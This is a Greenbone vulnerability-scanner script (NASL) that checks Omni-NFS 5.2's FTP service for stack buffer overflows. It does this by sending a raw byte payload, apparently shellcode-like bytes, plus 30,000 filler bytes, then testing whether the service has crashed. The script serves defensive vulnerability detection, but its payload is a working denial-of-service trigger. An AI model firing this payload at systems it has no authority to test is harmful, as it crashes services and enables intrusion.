Omni-NFS Multiple Stack Buffer Overflow Vulnerabilities

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100297");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-10-08 20:03:34 +0200 (Thu, 08 Oct 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Omni-NFS Multiple Stack Buffer Overflow Vulnerabilities");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_family("Buffer overflow");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/omni-nfs/xlink/detected");

  script_tag(name:"summary", value:"Omni-NFS is prone to multiple stack-based buffer-overflow
  vulnerabilities because the application fails to properly bounds-check user-supplied network
  data before copying it into an insufficiently sized memory buffer. The issues affect both server and client.");

  script_tag(name:"impact", value:"Exploiting these issues allows attackers to execute arbitrary machine
  code in the context of users running the affected application. Failed attempts will likely crash the
  application, resulting in denial-of-service conditions.");

  script_tag(name:"affected", value:"Omni-NFS 5.2 is vulnerable. Other versions may also be affected.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36608");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");
include("ftp_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if(!banner || "XLINK" >!< banner)
  exit(0);

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

crapdata = crap(length:30000);

req = raw_string(0x4e,0x40,0x96,0xb5,0x46,0x89,0xe3,0x4a,0x1c,0xb1,0x98,0x2c,0xb4,0xb3,0x7b,0x39,
0xf5,0xa9,0x7c,0x15,0xb7,0xba,0x8c,0xe1,0x4b,0x90,0x73,0x27,0x7b,0x70,0x75,0x10,
0xe0,0x72,0x4b,0x83,0xeb,0x7a,0x79,0x3c,0xb7,0x48,0x71,0x24,0x7d,0x2d,0xbe,0x40,
0xb0,0x97,0x46,0x0c,0x1c,0x96,0x80,0xd4,0x3b,0xe2,0x41,0x1d,0xba,0x81,0xfd,0x37,
0x04,0x15,0xbb,0x43,0xb6,0x49,0x8d,0x93,0x77,0x66,0x42,0x76,0x78,0x74,0x7f,0x2c,
0x0b,0xf5,0x99,0x47,0xb8,0x9b,0x98,0x29,0xe3,0x05,0x4e,0xb5,0xa9,0xb4,0x14,0x4a,
0xbf,0x86,0xd6,0xb3,0xb9,0x77,0x31,0xf9,0xa8,0xb2,0x7d,0x02,0xd5,0xb1,0x78,0x35,
0x73,0x67,0x7f,0x2a,0xe0,0x34,0x71,0x4f,0x7c,0x03,0xfc,0x91,0x74,0x19,0xeb,0x32,
0xf6,0xe2,0x3f,0x9f,0x7b,0x1a,0xc1,0xf8,0x92,0xbb,0xb3,0x7a,0x18,0xe1,0x42,0x87,
0xf9,0xb4,0x4b,0x79,0x04,0xba,0x75,0x38,0xe3,0x3c,0x98,0x67,0xb6,0xbf,0xa9,0x09,
0xf8,0x91,0xb8,0x4e,0x43,0xb9,0xb7,0x2d,0x72,0x12,0xfc,0x3f,0x9b,0x8d,0x49,0x76,
0x05,0x23,0xd4,0x2c,0x93,0x46,0xb2,0x0c,0x15,0x4a,0x90,0x37,0x1b,0xc0,0xd6,0x24,
0xb5,0x70,0x14,0x48,0x66,0xbe,0x27,0xa8,0x34,0x96,0x88,0xd5,0x1c,0x1d,0x99,0xb0,
0x9f,0x40,0x97,0xf5,0xfd,0x35,0x47,0x92,0xb1,0x41,0x4f,0x81,0xc4,0xff,0xef,0xff,
0xff,0x44,0x31,0xc9,0xbe,0x1c,0x89,0xb0,0x67,0xdb,0xda,0xd9,0x74,0x24,0xf4,0xb1,
0x02,0x58,0x31,0x70,0x13,0x83,0xc0,0x04,0x03,0x70,0x0f,0xe2,0xe9,0x08,0x74,0x33,
0xe3,0xf4,0x8a,0x70,0x9c,0xf0,0x01,0x10) + crapdata + raw_string(0x0d,0x0a);

send(socket:soc, data:req);
close(soc);

sleep(10);

soc1 = open_sock_tcp(port);
if(!soc1) {
  security_message(port:port);
  exit(0);
} else {
  for(i=0;i<5;i++) {
    if(!ftp_recv_line(socket:soc1)) {
      security_message(port:port);
      close(soc1);
      exit(0);
    }
  }
}

exit(99);